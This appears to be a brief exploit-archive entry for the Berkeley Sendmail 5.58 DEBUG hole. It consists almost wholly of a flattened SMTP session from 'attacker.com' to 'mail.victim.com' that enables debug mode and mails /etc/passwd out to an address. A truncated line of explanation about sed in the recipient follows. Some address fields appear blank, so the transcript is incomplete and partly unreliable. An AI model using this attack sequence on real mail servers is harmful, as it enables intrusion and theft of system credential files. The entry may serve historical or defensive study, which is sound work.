Berkeley Sendmail 5.58 - Debug

220 mail.victim.com SMTP helo attacker.com 250 Hello attacker.com, pleased to meet you. debug 200 OK mail from: 250 OK rcpt to: 250 OK data 354 Start mail input; end with . mail [email protected] /etc/passwd . 250 OK quit 221 mail.victim.com Terminating The sed in the receipient strips all mail...